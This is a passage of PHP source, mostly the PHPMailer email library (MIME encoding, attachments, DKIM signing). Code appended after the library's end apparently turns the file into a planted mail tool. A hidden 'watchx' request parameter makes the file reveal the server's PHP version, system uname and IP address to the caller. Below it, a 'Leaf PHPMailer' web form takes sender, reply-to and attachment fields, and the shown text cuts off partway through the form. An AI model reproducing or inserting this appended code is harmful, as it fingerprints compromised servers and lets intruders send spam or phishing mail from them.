                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
